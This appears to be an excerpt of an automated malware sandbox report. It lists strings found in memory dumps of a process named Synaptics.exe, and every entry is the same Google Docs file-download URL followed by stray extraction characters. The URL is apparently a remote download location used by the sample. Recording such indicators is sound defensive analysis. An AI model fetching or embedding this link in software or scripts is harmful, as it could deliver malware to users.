Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUA-M
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3017903336.000000001D6FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWm
Source: Synaptics.exe, 00000002.00000002.3097156090.00000000426CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3042532479.000000002A5CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3060111522.000000003583E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2964923544.0000000006C7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3065916492.000000003957E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2975677614.000000000A6BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3025032728.000000001EABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3099202998.000000004384E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094940361.000000004118E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2981310460.000000000DB3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3064074688.00000000382BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2977915342.000000000B6FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3035070752.000000002534E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3026683627.000000001FE3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3040275736.0000000028CCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3090299303.000000003E5CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3057470295.0000000033DFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3052254278.00000000306FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3042083444.000000002A0CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2973936990.000000000953E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3037251151.0000000026C4E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX8
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX:
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXG
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY3so
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYTY
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZPw
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_l
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaRI
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadW
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadam
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamH
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadan
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadanQ
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc-
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc.d;
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcS
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcaP
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcatiTP$
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcbM
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcdn.g
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadceH
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcet
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch-ua
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch-ug
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch=
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadche
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcmZ
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.com
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadco
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcted
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcting
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctors
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcu#n
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcuritu
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd)Wi
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.T
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.moo
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd:
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddL
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddeW
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddqW
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeE~
